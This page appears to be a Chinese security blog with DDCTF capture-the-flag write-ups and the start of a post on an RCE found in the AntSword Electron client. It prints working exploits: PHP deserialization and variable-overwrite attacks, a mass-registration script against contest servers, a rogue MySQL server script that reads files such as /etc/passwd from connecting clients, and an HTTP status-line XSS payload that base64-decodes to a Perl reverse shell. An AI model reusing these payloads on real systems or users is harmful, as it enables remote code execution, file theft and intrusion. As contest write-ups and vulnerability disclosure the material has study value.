在这篇文章里讲了vim的临时文件,并且文章提到了.practice.txt.swp这个文件,然后我试了半天swp,swo.swn,最后发现只要把前面的.去掉,访问http://117.51.150.246/practice.txt.swp
题目返回f1ag!ddctf.php,由于源码中会把config替换为!于是访问f1agconfigddctf.php编码形式再解码即可拿f1ag!ddctf.php源码

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}
?>

变量覆盖+php伪协议,?k=php://input&uid=1 post数据传1
图片.png

WEB 签到题

考点是反序列化
直接访问提示没有访问权限,查看源代码,查看发起的网络请求发现了一个接口
图片.png
发现一个ddctf_username的header头,改为admin访问这个接口
图片.png
返回了一个文件名,访问返回了两个新文件的源代码




url:app/Application.php

<?php
Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}
?>



url:app/Session.php


<?php
include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration            = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain                = '';
    var $cookie_secure                = FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();
?>

代码逻辑大概是自己写了个客户端session,如果符合一定标准则会反序列化请求的客户端session,Application的类的__destruct方法存在文件读取,传入的是path变量,111行存在反序列化操作,所以path变量可控,结合即可任意文件读取。但是要进行反序列化操作必须过107层的MD5判断,但是$this->eancrykey不知,118行和121行可以通过格式化字符串读取$this->eancrykey,$_POST["nickname"]传%s,这样第一次格式化%s还是被格式化为%s,第二次%s替换为$this->eancrykey
图片.png拿到了$this->eancrykey,我们就可以伪造任意客户端cookie,然后构造序列化字符串
需要注意的是,我们伪造的path变量必须为18为长度,并且代码会把../替换为空,注释提示flag文件在同一目录,猜测为../config/flag.txt
所以构造path为 ..././config/flag.txt,刚好替换后为flag地址,并且长度为18
exp:

<?php
Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
    }
    
}
$class = unserialize(urldecode("a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22a266d530ea78089fca551da75c2713a4%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22222.18.127.50%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A73%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+WOW64%3B+rv%3A56.0%29+Gecko%2F20100101+Firefox%2F56.0%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D0d90002f458ae1d96eb1dffdc081c822"));
$app = new Application();
$secret = "EzblrbNS";
$app->path = "..././config/flag.txt";
array_push($class,$app);
var_dump(md5($secret.serialize($class)));
var_dump(urlencode(serialize($class)));

先将服务端返回的cookie反序列化,然后往数组添加一个伪造的Application类,控制path参数,然后通过$this->eancrykey构造签名
图片.png

homebrew event loop

这道题蛮有意思的,差点一血,被师傅抢先了一丢丢

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'


from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f88147e857'

def FLAG():
    return 'FLAG_is_here_but_i_wont_show_you'  # censored
    
def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5: session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)

def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack
    
class RollBackException: pass

def execute_event_loop():
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')): continue
        for c in event:
            if c not in valid_event_chars: break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None: resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None: resp = ''
                #resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None: resp = ret_val
                else: resp += ret_val
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp
    
@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()

# handlers/functions below --------------------------------------

def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html

def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':
    
        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'
            
        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
            else:
                html += line
        source.close()
        
        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')

def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items 
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
    
def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume: raise RollBackException()
    session['points'] -= point_to_consume
    
def show_flag_function(args):
    flag = args[0]
    #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'
    
def get_flag_handler(args):
    if session['num_items'] >= 5:
        trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
    trigger_event('action:view;index')
    
if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

主要问题是46行,eval函数存在注入,可以通过#注释,我们可以传入路由action:eval#;arg1#arg2#arg3这样注释后面语句并调用任意函数并通过分割为列表,分号后面的#为传入参数列表
于是可以调用trigger_event函数,并且该函数参数可以为列表,调用trigger_event传入参数,可以发现传入参数依旧为函数名,并且会被传入事件列表之后被执行,相当于我们可以执行多个函数,首先执行buy_handler(5),再执行get_flag_handler(),就可以绕过session['num_items'] >= 5的判断,然后flag会被传递到trigger_event函数并且被写入session['log'],要注意执行buy_handler函数后事件列表末尾会加入consume_point_function函数,在最后执行此函数时校验会失败,抛出RollBackException()异常,但是不会影响session的返回(做题时以为异常不会返回session想了好久)。然后再用p师傅的脚本解密session即可拿flag
exp:
图片.png

图片.png

Upload-IMG

访问后可以上传图片,一开始上传会题目会提示需要包含phpinfo()字符串,但是加入字符串后上传依旧提示未包含,下载下上传后的图片,hex查看发现经过了php-gd库渲染,我们加入的字符串在渲染的时候被删除。上网搜索的时候发现了一个工具
https://wiki.ioin.in/soft/detail/1q
可以用这个工具生成可以GD渲染处理后,依然能保留字符串的jpg,在py源码中把字符串改为phpinfo(),然后生成。但是一直失败,后面在这篇文章发现其实要看脸
https://paper.seebug.org/387/#2-php-gdwebshell
图片.png
疯狂找图片,找了快100张了,然后在我用我博客的一张背景图的时候终于成功了
图片.png

欢迎报名DDCTF

太脑洞了,太脑洞了,太脑洞了
一直以为是sql,直道xss打到bot....
读源码读到一个接口
http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=
测了半天注入还是没东西,mmp,结果被一堆人做出来后重新看,注意到返回头GBK
然后宽字节注入。。。。

SQL加tamper都可以跑
常规操作,注库名,表名,字段名(TCL)做的时候想的太复杂了

图片.png

大吉大利,今晚吃鸡~

cookie发现是go的框架,买东西回想起了护网杯的溢出,可以参考这篇文章
https://evoa.me/index.php/archives/4/
溢出了一下午,最后特别脑洞发现要用Go的无符号32位整形来溢出,42949672961,购买成功,然后返回了一个id和token,然后可以开始通过输入id和token淘汰选手,但是返回回来的id和token是自己的,并不能自己淘汰自己
图片.png
图片.png
这个时候突然脑洞大开,注册小号,购买入场券,然后淘汰小号的id和token发现成功
然后批量注册小号批量买入场券批量拿id和token给大号淘汰
我的脚本:

import requests
import time
for i in range(0,1000):
    print(i)
    url1 = "http://117.51.147.155:5050/ctf/api/register?name=evoa0{0}&password=xxxxxxxxxxxx".format(str(i))
    url2 = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=42949672961"
    url3 = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id="
    url4 = "http://117.51.147.155:5050/ctf/api/remove_robot?ticket={0}&id={1}"
    rep1 = requests.get(url1)

    cook1name = rep1.cookies["user_name"]
    cook1sess = rep1.cookies["REVEL_SESSION"]
    urlcookies={"user_name":cook1name,"REVEL_SESSION":cook1sess}

    rep2 = requests.get(url2,cookies=urlcookies)
    billid = rep2.json()['data'][0]["bill_id"]

    rep3 = requests.get(url3+billid,cookies=urlcookies)
    userid = rep3.json()['data'][0]["your_id"]
    userticket = rep3.json()['data'][0]["your_ticket"]
    time.sleep(1)
    rep4 = requests.get(url4.format(userticket,str(userid)),cookies={"user_name":"evoA002","REVEL_SESSION":"675dc6a259890db618c598e0cd9f9802"})
    print(url4.format(userticket,str(userid)))
    with open("chicken.txt","a") as txt:
        txt.write(str(userid) + ":" +userticket)
        txt.write("\n")

但是每次注册的小号不一定能成功,而且淘汰到后期id和token重复率会很高效率会很低,看脸了,滴滴会限制访问频率所以脚本sleep了一秒,但我还用了vps来帮忙跑所以还是比较快的,差不多半个小时不到就吃鸡了
图片.png

mysql弱口令

一看到题目描述就想到了mysql服务端伪造
https://xz.aliyun.com/t/3277
然后网上找了个py脚本来伪造
https://www.cnblogs.com/apossin/p/10127496.html

#coding=utf-8 
import socket
import logging
logging.basicConfig(level=logging.DEBUG)

filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()

题目首先会给你一个agent.py,看源码知道这是一个验证服务端有没有运行mysql进程的文件,agent.py会使用8213端口,调用netstat -plnt命令查看进程和端口并返回给http请求,题目服务器先会请求你的vps上8123端口来验证是否开启mysql进程,所以直接把输出改为mysql的进程就可以绕过
result = [{'local_address':"0.0.0.0:3306","Process_name":"1234/mysqld"}]
运行上面的py就可以读文件了,题目表单输入的是你的vps地址和mysql端口
图片.png
然后疯狂读文件,读了一下午啥都没有,读数据库文件发现只有字段和表名没有flag,后面想到有个/root/.mysql_history文件,尝试读取
图片.png
就出flag了
不过这个好像是非预期解,正解应该是读取idb文件。而且读取了一下.bash_history和.viminfo文件还有新的收获,这个题目服务器上还运行着吃鸡的题目环境,还可以读取吃鸡的题目源码,flag高高的挂在里面。。

RE

RE1

upx壳,手动跟到解壳
搜索ascii找到关键函数

图片.png

图片.png
具体原理就是输入的每个字符的ascii码和一个加上一个内存地址,然后取内存地址的值,替换,对比,相当于一个表的替换,然后会和reverseME对比,所以输入的数据替换后如果等于reverseME就是flag
我是一个个对着找的。。。。
图片.png
脚本

a = [0x5A,0x5A,0x5B,0x4A,0x58,0x23,0x2C,0x39,0x28,0x39,0x2C,0x2B,0x39,0x51,0x59,0x21]
for i in a:
    print(chr(i),end="")

DDCTF{ZZ[JX#,9(9,+9QY!}

RE2

aspack壳,网上找到了脱壳机,OD+IDA分析,大概逻辑就是你输入的必须是偶数个字符,然后每两个字符ascii组成一个字符,这些字符进行一个base64编码,如果等于reverse+就是flag
我一开始以为是魔改base。。然后逆了一下午的base算法,结果后面发现tm就是正常的base64算法,不说了,太难受了
我的爆破脚本

import string
def base(a1,a2,a3):
    res = ""
    x1 = a1 >> 2;
    x2 = (a2 >> 4) + 16 * (a1 & 3);
    x3 = (a3 >> 6) + 4 * (a2 & 0xF);
    x4 = a3 & 0x3F;
    arr = [x1,x2,x3,x4]
    for i in range(4):

        c = basetab[arr[i]] ^ 0x76
        res += chr(c)
    return res
basetab = [0x37, 0x34, 0x35, 0x32, 0x33, 0x30, 0x31, 0x3E, 0x3F, 0x3C, 0x3D, 0x3A, 0x3B, 0x38, 0x39, 0x26,
        0x27, 0x24, 0x25, 0x22, 0x23, 0x20, 0x21, 0x2E, 0x2F, 0x2C, 0x17, 0x14, 0x15, 0x12, 0x13, 0x10,
        0x11, 0x1E, 0x1F, 0x1C, 0x1D, 0x1A, 0x1B, 0x18, 0x19, 0x06, 0x07, 0x04, 0x05, 0x02, 0x03, 0x00,
        0x01, 0x0E, 0x0F, 0x0C, 0x46, 0x47, 0x44, 0x45, 0x42, 0x43, 0x40, 0x41, 0x4E, 0x4F, 0x5D, 0x59]

for i in range(128,256):
    for j in range(1,256):
        for k in range(1,256):
            a1 = ord(chr(i))
            a2 = ord(chr(j))
            a3 = ord(chr(k))
            res = base(a1,a2,a3)
            # print(res)
            if(res == "reve"):
                print(a1,a2,a3,end="")

for i in range(128,256):
    for j in range(1,256):
        for k in range(1,256):
            a1 = ord(chr(i))
            a2 = ord(chr(j))
            a3 = ord(chr(k))
            res = base(a1,a2,a3)
            # print(res)
            if(res == "rse+"):
                print(a1,a2,a3,end="")
a = [173,235,222,174,199,190]

for i in a:
    print(hex(i)[2:].upper(),end="")

DDCTF{ADEBDEAEC7BE}

RE3

这道题一开始觉得mac逆向蛮难的,但看了以后还是觉得蛮有意思的

object-c写的,将文件里的xia0Crackme拖入ida64分析,直接定位关键部分
图片.png
此处可理解为一个表,这一部分会在后面sub_100001e50里调用
图片.png
(a1+24)最开始指向byte_100001980的第五个数的地址,随后执行while,当*(a1+24)=0xf3时跳出循环。
进入while下的函数:

图片.png

if ( *(a1 + 24) == (16LL * v3 + a1 + 32)
)执行后会根据v3的的值调用sub_100001F60内部的函数。
进行第一次循环时,(a1+24)的值为0xf0,此时(16LL v3 + a1 + 32)处(此时v3=0)值也为0xf0,即可执行下面的函数调用。第一次调用fun1,改函数会值改变*(a1+24)。然后继续执行while ( (a1 + 24) != 0xF3 )处的循环。每一次执行while循环最终都会调用不同的函数改变(a1+24)所指向的值,在fun5处会对a1赋值,然后在fun9处根据a1的值进行处理生成秘钥。

while (
(a1 + 24) != 0xF3 )执行完毕后,生成的秘钥为helloYouGotTheFlag,再加上DDCTF{}即为flag

MISC

签到题

公告里面有

北京地铁

太脑洞了,一开始用ctf常用隐写binwalk,高度,foremost,Stegsolve,
RGB通道看到一串字符串

图片.png
以为base,算了半天,后面看hint才知道是AES,但是没有秘钥,提示看图。。。发现

图片.png
魏公村颜色深一点,然后神脑洞就来了
图片.png
暴打出题人

MulTzor

HCTF原题,mult代表_multiply_,zor代表xor,就是重复异或,还好当时做过,直接拿出当时的脚本跑
python xortool -x -c 20 c.txt
DDCTF{07b1b46d1db28843d1fd76889fea9b36}

Wireshark

太脑洞了,追踪每个http流,分离出两张图片(准确应该是三张,有两张看上去一样)

第一张图片png改高度发现一个key,(图片被我删了,不想重新做了,就不放图了)
第二个图片试了半天binwalk,foremost,通道,盲水印啥都没有,后面仔细看http协议发现一个图片加密网站,把第二个图片和第一个图片的key放进去就能得到flag

联盟决策大会

现学维基百科,大概明白了原理为两点确定一条直线,三点确定一个二此曲线,四点确定一个三次曲线,所以就可以秘钥分权,至少满足几个秘钥就可以恢复密文。但是此题需要防止单个组织6个人一起恢复秘钥,而不经过组织2同意,所以需要继续分秘钥,此题有点脑洞,p也是一个秘钥,大概是明文加密为p和一个密文a,a分为两个密文a1,a2,
a1,a2在分别分为3个密文b1,b2,b3,c1,c2,c3
分别对应组织及组织成员
逆回去解密即可,维基百科最后面有解密的py脚本,但是有个很脑洞的点是p,p的x坐标题目没给出,并且其他点的x的坐标也只能过成员几组织几来猜,实际上p的x坐标是1,a的x坐标是0。这是坑了我好久,因为我以为p和a的x坐标还是1或2,我还试了两个密文做+-*/^&|运算
结果想到前面的杂(脑)项(洞)题试了试0,1果然就出来了
python写的太乱了,就给最后出flag的exp把

from __future__ import division
from __future__ import print_function

import random
import functools
import binascii


_PRIME = int("C53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7",16)

_RINT = functools.partial(random.SystemRandom().randint, 0)

def _eval_at(poly, x, prime):
    '''evaluates polynomial (coefficient tuple) at x, used to generate a
    shamir pool in make_random_shares below.
    '''
    accum = 0
    for coeff in reversed(poly):
        accum *= x
        accum += coeff
        accum %= prime
    return accum

def make_random_shares(minimum, shares, prime=_PRIME):
    '''
    Generates a random shamir pool, returns the secret and the share
    points.
    '''
    if minimum > shares:
        raise ValueError("pool secret would be irrecoverable")
    poly = [_RINT(prime) for i in range(minimum)]
    points = [(i, _eval_at(poly, i, prime))
              for i in range(1, shares + 1)]
    return poly[0], points

def _extended_gcd(a, b):
    '''
    division in integers modulus p means finding the inverse of the
    denominator modulo p and then multiplying the numerator by this
    inverse (Note: inverse of A is B such that A*B % p == 1) this can
    be computed via extended Euclidean algorithm
    http://en.wikipedia.org/wiki/Modular_multiplicative_inverse#Computation
    '''
    x = 0
    last_x = 1
    y = 1
    last_y = 0
    while b != 0:
        quot = a // b
        a, b = b, a%b
        x, last_x = last_x - quot * x, x
        y, last_y = last_y - quot * y, y
    return last_x, last_y

def _divmod(num, den, p):
    '''compute num / den modulo prime p

    To explain what this means, the return value will be such that
    the following is true: den * _divmod(num, den, p) % p == num
    '''
    inv, _ = _extended_gcd(den, p)
    return num * inv

def _lagrange_interpolate(x, x_s, y_s, p):
    '''
    Find the y-value for the given x, given n (x, y) points;
    k points will define a polynomial of up to kth order
    '''
    k = len(x_s)
    assert k == len(set(x_s)), "points must be distinct"
    def PI(vals):  # upper-case PI -- product of inputs
        accum = 1
        for v in vals:
            accum *= v
        return accum
    nums = []  # avoid inexact division
    dens = []
    for i in range(k):
        others = list(x_s)
        cur = others.pop(i)
        nums.append(PI(x - o for o in others))
        dens.append(PI(cur - o for o in others))
    den = PI(dens)
    num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)
               for i in range(k)])
    return (_divmod(num, den, p) + p) % p

def recover_secret(shares, prime=_PRIME):
    '''
    Recover the secret from share points
    (x,y points on the polynomial)
    '''
    if len(shares) < 2:
        raise ValueError("need at least two shares")
    x_s, y_s = zip(*shares)
    return _lagrange_interpolate(0, x_s, y_s, prime)

def main():
    '''main function'''

    shares = [(0,2224986029527219608265802269978051670202251873839904862714021348744328421484544276823667729021)]
    shares.append((1,int("C53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7",16)))

    print('shares:')
    if shares:
        for share in shares:
            print('  ', share)

    print('secret recovered from minimum subset of shares:             ',
          binascii.a2b_hex(hex(recover_secret(shares))[2:]))


if __name__ == '__main__':
    main()

- Read More -
开源安全

蚁剑客户端RCE的挖掘过程及Electron安全

Author:evoA@Syclover

前言:

事情的起因是因为在一次面试中,面试官在提到我的CVE的时候说了我的CVE质量不高。简历里那几个CVE都是大一水过来的,之后也没有挖CVE更别说高质量的,所以那天晚上在我寻思对哪个CMS下手的挖点高质量CVE的时候,我突然盯上了蚁剑,挖掘到了一枚RCE,虽然漏洞的水平并不高但是思路我觉得值得拿来分享一下。

Electron

Electron是由Github开发,用HTML,CSS和JavaScript来构建跨平台桌面应用程序的一个开源库。 Electron通过将Chromium和Node.js合并到同一个运行时环境中,并将其打包为Mac,Windows和Linux系统下的应用来实现这一目的。
简而言之,只要你会HTML,CSS,Javascript。学习这门框架,你就能跨平台开发桌面应用程序,像VSCode,Typora,Atom,Github Desktop都是使用Electron应用进行跨平台开发。虽然Electron十分简单方便,但是我认为其存在很严重的安全问题

第一个蚁剑的洞

面完的当晚我正对着github的开源项目发呆,准备寻找一些开源项目进行审计,却不知不觉的逛到了历史记录蚁剑的项目,当我准备关闭的时候,一行说明引起了我的注意
图片.png我发现蚁剑是使用Electron进行开发的,这就说明了我可以进行Electron应用的漏洞挖掘,于是我抱着试试看的运气打开了蚁剑,并在最显眼的位置输

图片.png
image.png

成功XSS!由于蚁剑用Electron开发,当前程序的上下文应该是node,于是我们可以调用node模块进行RCE
poc:

<img src=# onerror="require('child_process').exec('cat /etc/passwd',(error, stdout, stderr)=>{
  alert(`stdout: ${stdout}`);
});">

image.png

另三个洞

成功RCE,那天晚上在和Smi1e师傅吹水@Smi1e,跟他聊到这个后,他发现shell管理界面也没有任何过滤

image.png
以上三个点都可以XSS造成RCE,poc和上面一样,就不做演示了,于是我把这些洞交了issue
但是结果是

image.png
被官方评为self-xss了,很难受,虽然蚁剑有1000个star,但是这个洞确实比较鸡肋,唯一可以利用的方式只有把自己的蚁剑传给别人让别人打开,这在实战中几乎是不可能的事情。
注:这四个洞所填的数据在电脑上是有储存的,位置在~/蚁剑源码目录/antData/db.ant文件中以JSON格式进行存储

image.png
所以理论上如果能替换别人电脑上的此文件也能造成RCE(但是都能替换文件内容了为什么还要这个方法来RCE干嘛)就很鸡肋

真-RCE的发现

就在我一筹莫展的时候,我随便点了一个shell

image.png
!!!!!!!!
虽然我以前从来不看报错,但在这个时候我十分敏感的觉得这个报错信息肯定有我可控的点,大概看了一番,发现这么一句话
image.png
这不就是HTTP的状态码和信息吗,要知道http协议状态码是可以随意更改的,并且状态信息也可以自定义,并不会导致无法解析,于是我激动的在我的机子进行实验

<?php
header('HTTP/1.1 500 <img src=# onerror=alert(1)>');

image.png
喜提一枚X (R) S (C) S (E) 漏洞,当然这只是poc,并不能执行命令。下面是我的exp

<?php

header("HTTP/1.1 406 Not <img src=# onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxMjcuMC4wLjEiOyRwPTEwMDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9iYXNoIC1pIik7fTtcJycsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())'>");
?>

base64是因为引号太多了很麻烦,只能先编码在解码eval。
解码后的代码

require('child_process').exec('perl -e \'use Socket;$i="127.0.0.1";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\'',(error, stdout, stderr)=>{
    alert(`stdout: ${stdout}`);
  });

双击shell后

image.png
并且在蚁剑关闭后这个shell也不会断

源码分析

这是官方修复我第一个Self-xss的代码改动
图片.png

图片.png
更新后在目录输出这个位置使用了noxss函数进行输出,全局查找noxss函数

图片.png
函数的作用很明显,把& < > "替换为实体字符,默认也替换换行。所以我们在新版本构造的exp会失效

图片.png
并且作者在大部分的输出点都做了过滤

图片.png
几乎界面的所有输出都做了过滤,那为什么在我们的连接错误信息中没有过滤呢。于是我准备从源码层面上分析原因。
由于错误信息是在连接失败的时候抛出,所以我怀疑输出点是http连接时候的错误处理产生的输出,所以先全局查找http的连接功能或函数,由于http连接一般属于核心全局函数或类。我先从入口文件app.js看起。(通过package.json配置文件的main值知道入口文件是app.js)

图片.png
入口文件一共就80行,在最末尾入口文件引入了6个文件,其中的request十分明显肯定是发起网络请求的文件,跟进分析。

图片.png
开头的注释就表示了这个文件就是专门发起网络请求的函数文件,在第13行,发现这个文件引入了一个模块superagent,这是一个node的轻量级网络请求模块,类似于python中的requests库,所以可以确定此函数使用这个库发起网络请求,追踪superagent变量
图片.png
